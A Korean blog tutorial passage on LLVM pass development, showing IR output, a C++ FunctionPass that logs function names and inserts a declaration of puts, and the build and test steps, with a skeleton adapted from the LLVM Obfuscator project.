  %call = call i32 (i8*, ...) bitcast (i32 (...)* @puts to i32 (i8*, ...)*)(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i32 0, i32 0))

  ret i32 0

}


declare i32 @puts(...) #1


attributes #0 = { nounwind uwtable "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+sse,+sse2" "unsafe-fp-math"="false" "use-soft-float"="false" }

attributes #1 = { "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+sse,+sse2" "unsafe-fp-math"="false" "use-soft-float"="false" }


!llvm.ident = !{!0}


!0 = !{!"clang version 3.8.0 (trunk 247122)"}

지금 제 시스템에 깔려있는 LLVM 버젼이 3.8.0이기 때문에 다른 버젼으로 컴파일하신다면 결과가 약간 다르게 나올 순 있지만 지금은 상관없습니다

IR 결과에서 함수만 추려보면

define i32 @main() #0 {

entry:

  %call = call i32 (i8*, ...) bitcast (i32 (...)* @puts to i32 (i8*, ...)*)(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i32 0, i32 0))

  ret i32 0

}


declare i32 @puts(...) #1

이렇게 main과 puts가 존재하는것을 알 수 있습니다

두 함수의 차이점은 하나는 define된 함수고 하나는 declare된 함수라는 것입니다

정확히 알진 못하더라도 느낌상 define된 함수는 현재 코드에서 함수가 정의된단걸 알 수 있고

declare된 함수는 다른 소스파일이나 라이브러리에 정의돼있는 함수란걸 알 수 있습니다

puts함수도 현재 코드에서 정의되는 함수가 아닌 라이브러리에서 정의된 함수죠


그러면 declare 될 함수를 어떻게 LLVM Pass에서 삽입할 수 있을까요?

이런 애매한걸 해결하기 가장 쉬운 방법은 IR파일을 LLVM API를 이용한 c++코드로 바꾸는 것입니다

저도 이 기능을 발견했을 때 매우 행복했는데, 어떤 기능인지 보여드리겠습니다


생성된 puts.cpp를 읽어서 puts 를 검색해보세요

막연하게만 느껴지던 puts함수 삽입을 이렇게 친절한 예제로 볼 수 있습니다

한줄한줄 완벽한 이해는 안되더라도 이렇게하면  위의 IR코드 처럼

declare i32 @puts(...) #1

이 한 줄을 IR파일에 자동으로 추가할 수 있겠죠


코드에 대한 약간의 설명을 드리자면

우선 mod는 현재 모듈을 가르키는 변수입니다. 우리의 경우엔 F.getParent()를 변수로 저장해서 사용하면 되겠죠

FuncTy_6은 잠시 후에 보도록 하고

GlobalValue::ExternalLinkage 는 http://llvm.org/docs/doxygen/html/classllvm_1_1GlobalValue.html#aedfa75f0c85c4aa85b257f066fbea57c 이 링크를 참고해주세요. 

그다음에 Attributes에 관련되어 보이는 코드들은 

attributes #1 = { "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+sse,+sse2" "unsafe-fp-math"="false" "use-soft-float"="false" }

이 부분을 만들어주는 코드입니다

그러려니 합시다..


위에서 스킵한 FuncTy_6은 여기있습니다

뭔진 모르겠지만 puts함수의 타입은 이런가봅니다

왜 isVarArg 가 true인진 모르겠지만 그러려니합시다..



        virtual bool runOnFunction(Function &F){

            errs() << "Current function name: [" << F.getName() << "]\n";

            errs() << "Current module name: [" << F.getParent()->getName() << "]\n";

            Module *mod = F.getParent();

            std::vector<Type*>FuncTy_6_args;

            FunctionType* FuncTy_6 = FunctionType::get(/*Result=*/IntegerType::get(mod->getContext(), 32),

                                                        /*Params=*/FuncTy_6_args,

                                                        /*isVarArg=*/true);

            Function* func_puts = mod->getFunction("puts");

            if (!func_puts) {

                func_puts = Function::Create(/*Type=*/FuncTy_6,

                                            /*Linkage=*/GlobalValue::ExternalLinkage,

                                            /*Name=*/"puts", mod); // (external, no body)

                func_puts->setCallingConv(CallingConv::C);

            }

            AttributeSet func_puts_PAL;

            {

                SmallVector<AttributeSet, 4> Attrs;

                AttributeSet PAS;

                {

                    AttrBuilder B;

                    PAS = AttributeSet::get(mod->getContext(), ~0U, B);

                }

                Attrs.push_back(PAS);

                func_puts_PAL = AttributeSet::get(mod->getContext(), Attrs);

            }

            func_puts->setAttributes(func_puts_PAL);

            return false;

        }

FuncTy_6과 puts를 삽입하는 코드를 그대로 옮겼습니다

임의로 추가한 부분은 4번째줄의 Module *mod = F.getParent(); 입니다


자 그럼 이제 테스트 해봅시다

빌드를 이미 완전히 해보셨다면 금방 빌드가 완료됩니다

컴퓨터 사양에따라 중간 중간 빌드하는게 무리다 싶으시면 제가 보여드리는 결과만 보고 넘어가셔도 괜찮습니다. 그래도 직접 확인해보는게 훨씬 와닿겠죠



⚡ root@vultr  ~/build/bin  clang -S -emit-llvm test.c -w

 ⚡ root@vultr  ~/build/bin  cat test.ll

; ModuleID = 'test.c'

target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"

target triple = "x86_64-unknown-linux-gnu"


@.str = private unnamed_addr constant [8 x i8] c"5+3=%d\0A\00", align 1


; Function Attrs: nounwind uwtable

define i32 @add(i32 %x, i32 %y) #0 {

entry:

  %x.addr = alloca i32, align 4

  %y.addr = alloca i32, align 4

  store i32 %x, i32* %x.addr, align 4

  store i32 %y, i32* %y.addr, align 4

  %0 = load i32, i32* %x.addr, align 4

  %1 = load i32, i32* %y.addr, align 4

  %add = add nsw i32 %0, %1

  ret i32 %add

}


; Function Attrs: nounwind uwtable

define i32 @main() #0 {

entry:

  %call = call i32 @add(i32 5, i32 3)

  %call1 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i32 %call)

  ret i32 0

}


declare i32 @printf(i8*, ...) #1


attributes #0 = { nounwind uwtable "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+sse,+sse2" "unsafe-fp-math"="false" "use-soft-float"="false" }

attributes #1 = { "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+sse,+sse2" "unsafe-fp-math"="false" "use-soft-float"="false" }


!llvm.ident = !{!0}


!0 = !{!"clang version 3.8.0 (trunk 247122)"}

 ⚡ root@vultr  ~/build/bin 

지금 이건 시스템에 설치돼있던 LLVM, 즉 puts함수를 자동으로 삽입하는 코드가 없는 LLVM입니다


 ✘ ⚡ root@vultr  ~/build/bin  ./clang -S -emit-llvm test.c -w

Current function name: [add]

Current module name: [test.c]

Current function name: [main]

Current module name: [test.c]

 ⚡ root@vultr  ~/build/bin  cat test.ll

; ModuleID = 'test.c'

source_filename = "test.c"

target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"

target triple = "x86_64-unknown-linux-gnu"


@.str = private unnamed_addr constant [8 x i8] c"5+3=%d\0A\00", align 1


; Function Attrs: nounwind uwtable

define i32 @add(i32 %x, i32 %y) #0 {

entry:

  %x.addr = alloca i32, align 4

  %y.addr = alloca i32, align 4

  store i32 %x, i32* %x.addr, align 4

  store i32 %y, i32* %y.addr, align 4

  %0 = load i32, i32* %x.addr, align 4

  %1 = load i32, i32* %y.addr, align 4

  %add = add nsw i32 %0, %1

  ret i32 %add

}


; Function Attrs: nounwind uwtable

define i32 @main() #0 {

entry:

  %call = call i32 @add(i32 5, i32 3)

  %call1 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i32 %call)

  ret i32 0

}


declare i32 @printf(i8*, ...) #1


declare i32 @puts(...)


attributes #0 = { nounwind uwtable "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

attributes #1 = { "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }


!llvm.ident = !{!0}


!0 = !{!"clang version 3.9.0 (trunk 275527) (https://github.com/cd80/UtilizedLLVM.git 2587b3df7a08ff644b1b31139619798829d7f95e)"}

 ⚡ root@vultr  ~/build/bin 

puts가 생겼습니다!


지금 우리가 어떤 지식을 기반으로 했다기 보다 일종의 예제코드를 보고 복사붙여넣기를 한것이기 떄문에 아직 우리가 LLVM에 대해서 안다! 라고는 할 수 없는 단계지만

이 방식으로도 충분히 우리가 원하는 어떤 기능이든지 다 구현할 수 있습니다



쓰는게 힘에부쳐서 한 글에 많은 내용을 담지는 못합니다

다음 글에서는 동적으로 삽입된 puts함수에 우리가 원하는 문자열을 인자로 전달하고 호출하는 코드를 작성한 뒤 이를 각 함수의 맨 처음 인스트럭션으로 삽입하는 과정을 다루겠습니다

직접 구글과 레퍼런스를 참고하면서 구현해보시고 저는 어떻게 구현하는지 보러오시는것도 좋은 공부가 될것 같습니다

신고

설정

트랙백

댓글

LogFunctionNames 모듈 개발 - 뼈대 작성과 컴파일타임에서의 함수 이름 로깅

컴퓨터공부/엘엘비엠 2016.07.15 22:58
크리에이티브 커먼즈 라이선스
Creative Commons License

이 강의글의 컨셉은 LLVM을 깊게 이해한 개발이 아닌 일단 쓰는 법을 익혀보자 이기 때문에 아주 자세한 내용은 다루지 않습니다


ModulePass는 모듈을 변조하거나 최적화할때 사용하고, FunctionPass는 함수, BasicBlockPass는 각 basic block별로 적용합니다

그 중에서 우리는 각 함수의 맨 첫부분에 함수의 이름을 로깅하는 코드를 작성할 것이기 때문에 FunctoinPass를 사용합니다. 해당 개발은 다음 글에서 진행합니다


아래에서 나오는 UtilizedLLVM은 http://clang.llvm.org/get_started.html 을 그대로 따라한 LLVM 3.9.0 버젼입니다. LLVM이 업데이트되어 저 링크를 보고 따라했는데 3.9.0 이상버젼이 나온다면 이전 글에서 3.6.2를 받았을 때와 마찬가지로 branch를 지정해서 받으시면 됩니다


우선 lib/Transforms/ 로 이동합니다

Hello는 dummy module로, LLVM 모듈 개발시 참고할 만 하나 이것보다는 좀더 쉬운 예제로 시작하겠습니다


우선 우리 코드들이 들어갈 Utility 디렉토리를 생성하고 CMakeLists.txt와 LLVMBuild.txt를 수정합니다



Utility 디렉토리에서도 CMakeLists.txt를 작성해야합니다

LLVM Obfuscator 의 CMakeLists.txt를 참고하겠습니다

https://github.com/obfuscator-llvm/obfuscator/blob/llvm-3.6.1/lib/Transforms/Obfuscation/CMakeLists.txt

LLVM Pass들은 모두 LLVM 프리픽스를 가진 라이브러리 파일로 빌드됩니다

우리 모듈은 LLVMUtility로 정했고 처음 개발해볼 모듈인, 함수가 호출될때 해당 함수의 이름을 로깅하는 모듈의 파일명을 LogFunctionNames.cpp 로 정했습니다


다음으로 LLVMBuild.txt를 작성합니다

마찬가지로 LLVM Obfuscator에서 LLVMBuild.txt를 가져와서 Obfuscation을 Utility로 변경합니다

https://github.com/obfuscator-llvm/obfuscator/blob/llvm-3.6.1/lib/Transforms/Obfuscation/LLVMBuild.txt


이제 LogFunctionNames.cpp를 작성하면 됩니다

이번에도 뼈대를 LLVM Obfuscator에서 가져오겠습니다

https://github.com/obfuscator-llvm/obfuscator/blob/llvm-3.6.1/lib/Transforms/Obfuscation/BogusControlFlow.cpp

이 파일을 받아 LogFunctionNames.cpp로 파일명을 변경하고 주석과 include, 플래그를 모두 지웁니다


최종적으로 이런 형태가 되면 됩니다

이제 몇가지 수정을 하겠습니다

BogusControlFlow를 LogFunctionNames로 바꾸고

createBogus 를 createLogger로

static RegisterPass<BogusControlFlow> X("boguscf", "inserting bogus control flow"); 를 static RegisterPass<LogFunctionNames> X("logger", "inserting logging routine for functions"); 로 바꿉니다



수정할것이 약간 많아 설명을 건너뛰고 마지막으로 어떤 형태가 돼야 하는지 보여드리겠습니다

#include "llvm/Pass.h"

#include "llvm/IR/Module.h"

#include "llvm/IR/Function.h"

#include "llvm/IR/BasicBlock.h"

#include "llvm/IR/Instructions.h"

#include "llvm/IR/InstrTypes.h"

#include "llvm/IR/Constants.h"

#include "llvm/IR/Type.h"

#include "llvm/ADT/Statistic.h"

#include "llvm/IR/GlobalValue.h"

#include "llvm/IR/LLVMContext.h"

#include "llvm/Transforms/Utils/Cloning.h"

#include "llvm/Transforms/Utils/BasicBlockUtils.h"

#include "llvm/CodeGen/ISDOpcodes.h"

#include "llvm/Support/raw_ostream.h"

#include "llvm/Support/Debug.h"

#include "llvm/Support/CommandLine.h"

#include "llvm/Transforms/IPO.h"

#include <list>


#include "llvm/Transforms/Utility/LogFunctionNames.h"

using namespace llvm;

namespace {

struct LogFunctionNames : public FunctionPass {

static char ID; // Pass identification

bool flag;

LogFunctionNames() : FunctionPass(ID) {}

LogFunctionNames(bool flag) : FunctionPass(ID) {this->flag = flag; LogFunctionNames();}


virtual bool runOnFunction(Function &F){

errs() << "Current function name: [" << F.getName() << "]\n";

return false;

}

};

}


char LogFunctionNames::ID = 0;

static RegisterPass<LogFunctionNames> X("logger", "inserting logging routine for functions");


Pass *llvm::createLogger() {

return new LogFunctionNames();

}


Pass *llvm::createLogger(bool flag) {

return new LogFunctionNames(flag);

}

이렇게 되면 뼈대는 우선 작성을 완료했습니다



여기서 include한 파일중 하나인 "llvm/Transforms/Utility/LogFunctionNames.h"을 작성합니다

//===- LogFunctionNames.h - LogFunctionNames Utility pass-------------------------===//

//

//                     The LLVM Compiler Infrastructure

//

// This file is distributed under the University of Illinois Open Source

// License. See LICENSE.TXT for details.

//

//===--------------------------------------------------------------------------------===//

//

// This file contains includes and defines for the LogFunctionNames pass

//

//===--------------------------------------------------------------------------------===//


#ifndef _LOGFUNCTIONNAMES_H_

#define _LOGFUNCTIONNAMES_H_



// LLVM include

#include "llvm/Pass.h"

#include "llvm/IR/Module.h"

#include "llvm/IR/Function.h"

#include "llvm/IR/BasicBlock.h"

#include "llvm/IR/Instructions.h"

#include "llvm/IR/InstrTypes.h"

#include "llvm/IR/Constants.h"

#include "llvm/IR/Type.h"

#include "llvm/ADT/Statistic.h"

#include "llvm/IR/GlobalValue.h"

#include "llvm/IR/LLVMContext.h"

#include "llvm/Transforms/Utils/Cloning.h"

#include "llvm/Transforms/Utils/BasicBlockUtils.h"

#include "llvm/CodeGen/ISDOpcodes.h"

#include "llvm/Support/raw_ostream.h"

#include "llvm/Support/Debug.h"

#include "llvm/Support/CommandLine.h"

#include "llvm/Transforms/IPO.h"

#include <list>


using namespace std;

using namespace llvm;


// Namespace

namespace llvm {

Pass *createLogger ();

Pass *createLogger (bool flag);

}

#endif 


여기까지만 해도 빌드는 되지만 아직 createLogger()를 PassManager에 등록하지 않았습니다


LLVMObfuscator에서는 populateModulePassManager에서 모든 Pass들을 등록했지만 우리는 용도에 맞게 populateFunctionPassManager에서 createLogger를 FunctionPassManager에 추가하겠습니다

lib/Transforms/IPO/PassManagerBuilder.cpp 를 수정합니다

우선 #include "llvm/Transforms/Utility/LogFunctionNames.h" 을 인클루드 하고


void PassManagerBuilder::populateFunctionPassManager(

    legacy::FunctionPassManager &FPM) {

  addExtensionsToPM(EP_EarlyAsPossible, FPM);

  FPM.add(createLogger());

  // Add LibraryInfo if we have some.

  if (LibraryInfo)

    FPM.add(new TargetLibraryInfoWrapperPass(*LibraryInfo));

  ...생략...

}

위와같이 추가해줍니다


이상태에서 빌드하면 이전 글에서 언급했던 오류중에 하나인

/root/UtilizedLLVM/lib/Transforms/IPO/PassManagerBuilder.cpp:214: undefined reference to `llvm::createLogger()'

이런 에러가 발생합니다

해결 하는 방법은 이전 글에 있으니 기억이 안나신다면 다시 보고 오셔서 해결해보시길 바랍니다

지금부터는 이 오류를 해결한 상태에서 진행하기 때문에 꼭 지금 해결하셔야 합니다






http://clang.llvm.org/get_started.html

빌드법은 위 링크 7번 참고하세요


빌드는 꽤 오래걸립니다. 그래도 앞으로는 우리 모듈이 수정되면 우리 모듈만 새로 빌드해서 링크하기 때문에 처음에만 조금 기다리면 됩니다

소스코드는 어떤걸 사용해도 무방하나 제가 자주 테스트용으로 사용하는 코드는 아래와 같습니다. 스샷에서 사용한 코드와 같은 코드입니다

int add(int x, int y){

return x+y;

}

int main(){

printf("5+3=%d\n", add(5,3));

}




문제 하나.

undefined reference to ~~에러

이전 글 참고해주세요


문제 둘.

make 시 ld가 segmentation fault로 죽음

저는 링킹중 메모리 용량이 부족해 이런 문제가 발생했습니다

아래 링크를 참고해 swap file을 설정하시면 됩니다

https://www.digitalocean.com/community/tutorials/how-to-add-swap-on-ubuntu-14-04




첫 유틸리티 모듈은 글의 초반부에서 얘기했던 것 처럼, 프로그램의 각 함수마다 맨 처음에 함수의 이름을 출력하는 기능을 할것이기 때문에 이번 글에서는 함수의 이름을 동적으로 어떻게 가져오는지를 알아보고, 모듈 개발시 자잘한 부분인 구조적 뼈대를 갖추는 법에 대해 이전 글에 이어서 자세히 설명했습니다

다음 글에서는 puts함수를 타겟 모듈에 동적으로 삽입하는 법에 대해 다루겠습니다



LLVM API를 이용해 개발하다 보면 어느 개발에서나 그렇 듯 레퍼런스를 많이 읽어봐야 합니다

다음 글에서 다룰 함수를 동적 삽입하는 경우에도 아주 간단한 함수 하나로 끝낼 수 있지만 레퍼런스를 잘 보지 않아 300줄가량의 코드를 작성했던 적이 있습니다

오늘 코드에서는 Function 클래스의 getName 메소드만을 사용했는데, 

http://llvm.org/docs/doxygen/html/classllvm_1_1Function.html

위의 function 클래스의 레퍼런스를 보면 getName 메소드가 존재하지 않습니다

ctrl+f를 누르고 검색해보면 Value 클래스에 정의되어있는 것을 알 수 있고, 레퍼런스 맨 위의 inheritance diagram을 보면 Function이 Value를 최상위클래스로써 상속받는 다는 것을 알 수 있습니다

Value 클래스는 앞으로도 항상 보게 될 클래스이므로 이번 글에서 다룬 Function 클래스와 함께 레퍼런스를 훑어보시길 추천드립니다

신고

설정

트랙백

댓글


티스토리 툴바